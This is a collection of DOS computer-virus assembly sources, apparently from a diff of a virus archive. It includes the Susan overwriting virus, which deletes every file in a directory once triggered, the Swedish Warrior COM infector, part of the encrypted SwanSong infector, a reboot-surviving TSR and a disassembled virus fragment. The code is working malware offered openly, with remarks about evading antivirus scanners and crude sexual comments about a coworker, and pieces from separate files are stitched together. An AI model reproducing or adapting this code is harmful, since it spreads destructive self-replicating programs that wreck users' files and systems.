; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov cx,9
mov dx,offset data_9 ; (8344:04EB=0)
add dx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov cx,435h
mov dx,offset ds:[109h] ; (8344:0109=90h)
add dx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
retn
sub_26 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_27 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
test dl,3
jnz loc_ret_33 ; Jump if not zero
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dh=sec
test dh,3
jnz loc_ret_33 ; Jump if not zero
mov cx,47h
mov si,data_1e ; (009D:0446=10h)
add si,bp
mov di,si
locloop_32:
lodsb ; String [si] to al
sub al,80h
stosb ; Store al to es:[di]
loop locloop_32 ; Loop if cx > 0
mov ah,9
mov dx,data_1e ; (009D:0446=10h)
add dx,bp
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
loc_ret_33:
data_8 db 'Craig Murphy calls himself SUPER'
db 'HACKER but he''s just a talentle'
db 'ss Jerk!', 0Dh, 0Ah, '$'
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_28:
mov al,0FFh
cmp al,[bp+4EAh]
je loc_34 ; Jump if equal
retn
loc_34:
push word ptr ds:data_2e ; (8344:002C=0)
pop es
xor di,di ; Zero register
mov al,1
loc_35:
scasb ; Scan es:[di] for al
jnz loc_35 ; Jump if not zero
inc di
push es
pop ds
mov dx,di
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_36 ; Jump if carry Set
mov es,cx
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_36 ; Jump if carry Set
mov ah,3Ch ; '<'
int 21h ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
push ds
push dx
push cs
pop ds
mov dx,offset ds:[100h] ; (8344:0100=0E8h)
mov bx,ax
mov ah,40h ; '@'
mov cx,9
add cx,bp
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
pop dx
pop ds
mov cx,es
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_36:
push cs
pop ds
mov ah,9
mov dx,offset data_15+25h ; (8344:0521=0)
add dx,bp
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
data_9 db 0
loc_37:
call sub_29 ; (04F6)
dec bp
jnz $+74h ; Jump if not zero
jo $+6Ah ; Jump if overflow=1
jns loc_37 ; Jump if not sign
sub_27 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_29 proc near
popf ; Pop flags
add [bx+si],al
add bl,[si+0]
data_15 db '*.*', 0
db '\^^^^^^^^', 0
db 'COMMAND.COM', 0
db '*.COM', 0
db '*.EXE', 0
db 'Bad command or file name', 0Dh, 0Ah
db '$'
db 6
data_21 db 0
sub_29 endp
seg_a ends
end start

@@ -0,0 +1,226 @@
; Survive a warm reboot on a XT.
;
; Compile under Turbo Assembler 2.5
; This program works on a generic IBM PC/XT
.model tiny
.radix 16
.code
org 100
start:
jmp init
handler:
push ds
push ax
xor ax,ax
mov ds,ax
mov al,ds:[417]
and al,0c
cmp al,0c
jnz no_ctrl_alt
in al,[60]
cmp al,53
jz now_fuck
no_ctrl_alt:
pop ax
pop ds
db 0ea
oldvect dd ?
now_fuck:
mov ds:[472],1234
mov ax,ds:[413]
mov cx,6
shl ax,cl
push ax
mov es,ax
mov di,offset handler
push cs
pop ds
mov si,di
repz cmpsw
jnz new_move
mov dl,es:[top_seg]
pop ax
jmp short set_segm
new_move:
mov al,ah
cmp al,0a0
jnc set_top
mov al,0a0
set_top:
xchg ax,dx
pop ax
sub ax,1000
set_segm:
mov cs:[top_seg],dl
push ax
mov es,ax
mov di,0e000
mov ax,0f000
mov ds,ax
mov si,di
mov cx,1000
cld
rep movsw
cmp byte ptr [si-10],0ea
jnz cant_fuck
cmp [si-0dh],0f000
jnz cant_fuck
mov di,[si-0f]
cmp di,0e000
jc cant_fuck
mov al,[di]
cmp al,0e9
jnz no_jmp
add di,[di+1]
add di,3
no_jmp:
push di
mov cx,800
call protect_ram
call replace_ints
push es
pop ds
mov bx,0e000
mov cx,2000
xor al,al
check_lup:
add al,[bx]
inc bx
loop check_lup
neg al
mov [di-1],al
push cs
pop ds
mov word ptr ds:[tmp_handler],5ebh
mov si,offset start
mov di,si
mov cx,init-start
rep movsb
retf
cant_fuck:
db 0ea
dw 0
dw 0ffff
protect_ram:
jcxz cant_fuck
mov al,80
repnz scasb
jnz protect_ram
mov ax,[di]
and al,0f8
cmp al,0f8
jnz protect_ram
cmp ah,dl
jnz protect_ram
mov ax,es
mov es:[di+1],ah
ret
top_seg db ?
replace_ints:
jcxz cant_fuck
mov al,0a5
repnz scasb
jnz replace_ints
cmp [di],4747
jnz replace_ints
cmp [di+2],0fbe2
jnz replace_ints
add di,4
push cs
pop ds
mov [dummy],di
mov si,offset my_piece
mov cx,my_top-my_piece
rep movsb
exit_prn:
ret
my_piece:
push ax
mov cx,20
xor di,di
re_init:
scasw
mov ax,0f000
stosw
loop re_init
mov ax,offset tmp_handler
xchg ax,es:[di+44-80]
mov cs:[old_tmp],ax
mov ax,cs
xchg ax,es:[di+46-80]
mov cs:[old_tmp+2],ax
pop ax
db 0ea
dummy dw ?
dw 0f000
db 0
my_top:
print:
mov si,offset message
print_msg:
lodsb
cmp al,'$'
jz exit_prn
mov ah,0e
int 10
jmp print_msg
tmp_handler:
jmp $
go_old:
db 0ea
old_tmp dw ?
dw ?
push ds
push si
push ax
xor ax,ax
mov ds,ax
mov ax,offset handler
xchg ax,ds:[24]
mov word ptr cs:[oldvect],ax
mov ax,cs
xchg ax,ds:[26]
mov word ptr cs:[oldvect+2],ax
push cs
pop ds
mov word ptr [tmp_handler],9090
call print
pop ax
pop si
pop ds
jmp go_old
message:
db 'Never ending story...',0dh,0a,'$'
init:
mov ax,3509
int 21
mov word ptr [oldvect],bx
mov word ptr [oldvect+2],es
mov dx,offset handler
mov ah,25
int 21
call print
mov dx,offset init
int 27
end start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,388 @@
Susan virus: included in Crypt Newsletter 13
COMMENT *
Susan Virus, Strain A
Written by NB
This program needs to be assembled with Turbo Assembler.
Special thanks go to Richard S. Sadowsky of TurboPower Software
for the help on using INT 2F with those majick functions!
This is an example of an interesting technique for writing a virus
that is terminate-and-stay-resident.
Description:
Susan is a file overwrite virus. Named for a woman in my department
who is overly concerned about virii, but has no idea about what the
fuck they actually are. She also has real nice tits. This is a TSR
that only infects .EXE files. Each time the user types "DIR", the
first .EXE file found is infected. After 15 such infections, then
each time DIR is typed, all files are erased in that directory.
Infected .EXEs are destroyed and will not run. Attempts to run them
will display the message "Bad command or file name" message.
Interesting Features:
- File size and date-stamp of infected file is maintained.
- Uses Vienna Virus technique of using the file time to determine
if a target file is infected.
- Infects and zaps everytime the user types a plain DIR command.
- Hooks INT 2F for handling the DIR command.
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
installed in memory.
- Writes the bug directly from memory.
*
.model small
.code
LOCALS @@
ORG 100h ; for COM file
DTA STRUC ; used for file searching
dtaReserved db 21 dup (0)
dtaAttrib db 0
dtaTime dw 0
dtaDate dw 0
dtaSize dd 0
dtaName db 13 dup (0)
DTA ENDS
DPL STRUC ; DOS Parameter List used for undoc funcs
dplAX DW 0
dplBX DW 0
dplCX DW 0
dplDX DW 0
dplSI DW 0
dplDI DW 0
dplDS DW 0
dplES DW 0
dplCID DW 0 ; computer ID (0 = current system)
dplPID DW 0 ; process ID (PSP on specified computer)
DPL ENDS
Pointer STRUC ; nice structure for a pointer type
Ofst DW 0
Segm DW 0
Pointer ENDS
Start:
JMP Initialize
OurCommandLen EQU 3
PathOfs EQU 80h ; Use command tail of PSP as path buffer
FuckMeNow EQU 16
virSig dw 'uS' ; Don't delete this line...
virName db 'san' ; ...this is the Susan Virus!
EofMarker db 26
OldInt2F Pointer <>
FNameLen db 3
FileName db '*.*', 0
DeleteDPL DPL <>
FuckCount db 0
SaveDTA Pointer <>
TargetMask db '*.EXE', 0
Victim DTA <>
OurCmd db 'DIR', 0Dh
IsInfected:
; This will detect if the .exe is already infected. We are using
; a nifty technique pulled from the Vienna Virus. If the file's
; seconds is 62, then that file is infected.
MOV AX, Victim.dtaTime
AND AX, 1Fh
CMP AX, 1Fh ; >60 seconds
; JZ infected
; JNZ not infected
RET
SearchExec:
; Returns AX = 1 if a uninfected file found
XOR CX,CX ; Search for an .EXE file
MOV DX,OFFSET TargetMask ; DS has seg
MOV AH, 4Eh
INT 21h
JC @@AlreadyInfected ; No .exes in this directory
CALL IsInfected ; Is this file infected?
JNZ @@NotInfectedYET
; Need to look for next file (maybe next version, haha)
@@AlreadyInfected:
XOR AX, AX ; Zeros out AX
RET
@@NotInfectedYET:
MOV AX, 1 ; Return a <> Zero indicator: Boolean
RET
CopySelf:
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
MOV AX, 4301h
MOV CX, 0 ; Clear all attributes to NORMAL
INT 21h
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
MOV AL, 2 ; read/write access
int 21h
MOV BX, AX
PUSH CS ; Write the virus to the start of the open file
POP DS
MOV DX,OFFSET Start ; Start of virus
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
MOV AH,40h
NOP ; WOW! this NOP will suppresses McAfees' scan from
INT 21h ; thinking this is a VR [FR] virus!
MOV DX, Victim.dtaDate
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
MOV AX, 5701h
OR CX, 001Fh ; And set the time to 62 seconds!
INT 21h ; ala Vienna Virus
MOV AH, 3Eh ; Close up the file - we're done
INT 21h
RET
Manipulate:
PUSH AX ; Uh...Save registers?
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
MOV SI,CS ; get Canonical pathname
MOV ES,SI
MOV DS,SI
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
JL @@InfectCity
MOV DI,PathOfs
MOV SI,OFFSET FileName ; Mask to delete
MOV AH,60h
INT 21h
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
MOV [SI].dplAX,4100h
MOV AX,CS
MOV [SI].dplDS,AX
MOV [SI].dplDX,PathOfs
MOV [SI].dplES,0
MOV [SI].dplCID,0
MOV [SI].dplPID,AX
MOV DS,AX ; Make DOS Server Function Call
MOV DX,SI
MOV AX,5D00h
INT 21h
; Infect more here...
@@InfectCity:
MOV AH, 2FH ; get the current DTA address
INT 21h
MOV AX,ES
MOV SaveDTA.Segm, AX ; Save it
MOV SaveDTA.Ofst, BX
MOV DX, OFFSET victim ; Set DTA to this glob of memory
MOV AH, 1Ah
INT 21h
CALL SearchExec
CMP AX, 0
JZ @@InfectNot
CALL CopySelf
INC FuckCount ; Track the time until eating files...
PUSH DS ; Restore the DTA
MOV AX, SaveDTA.Segm
MOV DS, AX
MOV DX, SaveDTA.Ofst
MOV AH, 1Ah
INT 21h
POP DS
; And return to the way it was...
@@InfectNot:
POP ES
POP DS
POP DI
POP SI
POP DX
POP AX
; If you want the DOS command to not execute, then you just need to uncomment
; out the next line:
; MOV BYTE PTR [SI],0 ; clear out the command string
RET
; convert pascal style string in DS:SI to uppercase
UpperCaseSt:
PUSH CX
PUSH SI
XOR CX,CX
MOV CL,BYTE PTR [SI]
@@UpcaseCh: ; Oh well, not too hard...
INC SI
CMP BYTE PTR [SI],'a'
JB @@NotLower
CMP BYTE PTR [SI],'z'
JA @@NotLower
SUB BYTE PTR [SI],'a' - 'A'
@@NotLower:
LOOP @@UpcaseCh
POP SI
POP CX
RET
; zf set if match, zf not set if no match
IsMatch:
; NOTE: ds:bx has command line
; ofs 0 has max length of command line
; ofs 1 has count of bytes to follow command line text,
; terminated with 0Dh
PUSH CX
PUSH SI
PUSH DI
PUSH ES
MOV SI,BX
INC SI
CALL UpperCaseSt
INC SI
MOV CX,CS
MOV ES,CX
MOV DI,OFFSET OurCmd
MOV CX,OurCommandLen + 1
CLD
REPE CMPSB
POP ES
POP DI
POP SI
POP CX
RET
IsMatch2:
PUSH CX
PUSH SI
PUSH DI
PUSH ES
XOR CX,CX
MOV CL,BYTE PTR [SI]
INC SI
CMP CL,OurCommandLen
JNZ @@NotOurs
MOV DI,CS
MOV ES,DI
MOV DI,OFFSET OurCmd
CLD
REPE CMPSB
@@NotOurs:
POP ES
POP DI
POP SI
POP CX
RET
Int2FHandler:
CMP AX, 010Fh ; Am I installed?
JNZ CheckCmd
MOV AX, virSig
IRET
CheckCmd:
CMP AH,0AEh ; a nifty-c00l majick function
JNE @@ChainInt2F
CMP AL,0
JE @@CheckCommand
CMP AL,1
JE @@ExecuteCommand
@@ChainInt2F:
JMP DWORD PTR CS:[OldInt2F]
@@CheckCommand: ; Dos is checking if we are a valid command
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch
JNZ @@ChainInt2F
MOV AL,0FFh
IRET
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch2
JNZ @@ChainInt2F
CALL Manipulate
IRET
Initialize:
MOV FuckCount, 0 ; Clear it since we may have written junk
MOV DX,OFFSET InstallMsg
MOV AH,09h
INT 21h
MOV AH,30h ; Check DOS version >= 3.3
INT 21h
XCHG AH,AL
CMP AX,0303h
JB @@InstallBad
; NOTE: This checks to see if we are already installed in memory.
; Basically, we have added a new subfunction to the PRINT funcs
; which returns my initials if installed.
MOV AX, 010Fh ; Check if we are installed
INT 2Fh
CMP AX, virSig
JZ @@InstallBad
MOV AX,352Fh ; Lets get and save int 2F
INT 21h
MOV OldInt2F.Ofst,BX
MOV OldInt2F.Segm,ES
MOV DX,OFFSET Int2FHandler ; And set it to ours
MOV AX,252Fh
INT 21h
MOV SI,2Ch
MOV AX,[SI] ; get segment of env's memory
MOV ES,AX
MOV AH,49h ; release environment block's memory
INT 21h
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
; since we want to write the code from memory to disk, we have to
; keep the whole thing in memory.
MOV DX,OFFSET EndOBug
ADD DX,15
MOV CL,4
SHR DX,CL
MOV AX,3100h
INT 21h ; Terminate and stay resident!
@@InstallBad:
MOV AX,4C00h ; Just quit with no message - no sense telling what
INT 21h ; may have occured...
InstallMsg:
db 'Bad command or file name', 0Dh, 0Ah
EndOBug db '$' ; Very important (tho lame) - Do not remove!
_TEXT ENDS
END Start
File diff suppressed because it is too large Load Diff
+223
View File
@@ -0,0 +1,223 @@
; VirusName: Swedish Warrior
; Origin : Sweden
; Author : Lord Zero
;
; Okey, I decided to include this virus, of many reasons. But first
; let's give some information about LOC (Logical Coders).
;
; LOC (Logical Coders) turned out to be a demo-group instead of a Virus-
; group, that I thought it was. THM (Trojan Horse Maker 1.10) was just
; released by Lord Zero, ie, NOT a LOC product. Lord Zero was also
; kicked from LOC after LOC noticed 'their' release of THM.
;
; Then why release it? Well It can't however still not be detected
; by any scanner (except Tbscan's Heuristic!). And it's a shame to
; see a virus being programmed, but not given to the major public.
;
; A message to all of LOC, Sorry for state "LoC the new Swedish
; virus writing group", but what was I suppose to think?
;
; I wish Lord Zero my best in his single career, or what-ever..
; / The Unforgiven/Immortal Riot
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; SWEDISH WARRIOR
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; A hardly commented non-overwriting memory resident *.COM infector.
.MODEL TINY
.CODE
org 100h
Start:
call go
go: pop bp
push ax
push cx
sub bp,offset go
mov ax,3D03h
mov dx,9eh
int 21h
jnc ok
mov cx,cs
mov ds,cx
mov es,cx
mov cx,es
dec cx
mov es,cx
mov bx,es:[03h]
mov dx,offset Finish-offset Start
mov cl,4
shr dx,cl
add dx,4
mov cx,es
inc cx
mov es,cx
sub bx,dx
mov ah,4Ah
int 21h
jc ok
dec dx
mov ah,48h
mov bx,dx
int 21h
jc ok
dec ax
mov es,ax
mov cx,8
mov es:[01],cx
mov si,offset offset start
add si,bp
sub ax,0Fh
mov es,ax
mov di,0100h
mov cx,offset Finish-offset Start
cld
rep movsb
xor ax,ax
mov ds,ax
mov di,offset oldint21
mov si,084h
mov bx,offset tsr
call maketsr
ok:
push cs
pop es
push es
pop ds
mov di,0100h
mov si,offset buffer
add si,bp
movsw
movsb
pop cx
pop ax
xor dx,dx
push dx
xor bp,bp
xor si,si
xor di,di
mov bx,0100h
push bx
xor bx,bx
retn
db 'Swedish Warrior v1.0 by Lord Zer0.'
buffer db 90h,0CDh,20h
oldint21:
dd ?
new_jmp db 0e9h,00h,00h
tsr:
pushf
cmp ah,4Bh ; check for execution,
je infect ; if so, infect it....
cmp ax,3D03h
jne gooo
popf
iret
gooo:
popf
jmp dword ptr cs:[oldint21]
infect:
push ax
push bx
push cx
push dx
push bp
push si
push di
push ds
push es
mov ax,4300h
int 21h
jc quit
push cx
xor cx,cx
mov ax,4301h
int 21h
mov ax,3d02h
int 21h
push ds
push dx
push cs
pop ds
mov bx,ax
mov ah,3fh
mov dx,offset buffer
mov cx,3
int 21h
cmp word ptr cs:[buffer],'ZM'
je quitexe
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
sub ax,offset finish-offset start+3
cmp ax,word ptr cs:[buffer+1]
je quitexe
add ax,offset finish-offset start
mov word ptr cs:[new_jmp+1],ax
mov ah,40h
mov cx,offset finish-offset start
mov dx,0100h
int 21h
jc quitexe
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov cl,3
mov dx,offset new_jmp
int 21h
quitexe:
mov ax,5700h
int 21h
inc al
int 21h
mov ah,3eh
int 21h
pop dx
pop ds
pop cx
mov ax,4301h
int 21h
quit:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
jmp gooo
maketsr:
mov ax,[si]
mov es:[di],ax
mov ax,[si+2]
mov es:[di+2],ax
cli ; Disable interrupts
mov ds:[si],bx
mov ds:[si+2],es
sti ; Enable interrupts
ret
finish:
end start
@@ -0,0 +1,630 @@
; ZEP1.ASM : [SwanSong] by [pAgE]
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'ZP' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov bp,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,46h,0 ; add word ptr cs:[bp], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bp ; calculate new decryption location
inc bp
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],9 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h
cmp dh,1 ; Check month
jb exit_virus
cmp cx,1992 ; Check year
jb exit_virus
cmp al,0 ; Check date of week
jae activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 27h ; YEAH! Memory Resident
NOP ; Change it to 21h instead!
retn
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 23Fh
db 2
data_4 dw 0
db 'TheDraw COM file Screen Save'
db 1Ah
data_5 db 'Unsupported Video Mode', 0Dh, 0Ah
db '$'
loc_1:
mov ah,0Fh
int 010h
xor ah,ah
int 010h
mov ax,0002h
mov cx,0100h
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_ret_21 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_ret_21:
mov si,offset data00 ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
;mov ax,0002h ; Which Drive???
;mov cx,0100h ; How many sectors to NUKE?
;cli ; Disable interrupts (no Ctrl-C)
;cwd ; Clear DX (start with sector 0)
;int 026h ; Ahhhh! WAD...pfffft!
;sti ; Res.interrupts what's left
;mov ax,04C00h ; DOS term.func.
;int 021h
activate endp
jmp exit_virus
creator db '[MPC]',0 ; Mass Produced Code Generator
virusname db '[SwanSong]',0
author db '[pAgE]',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
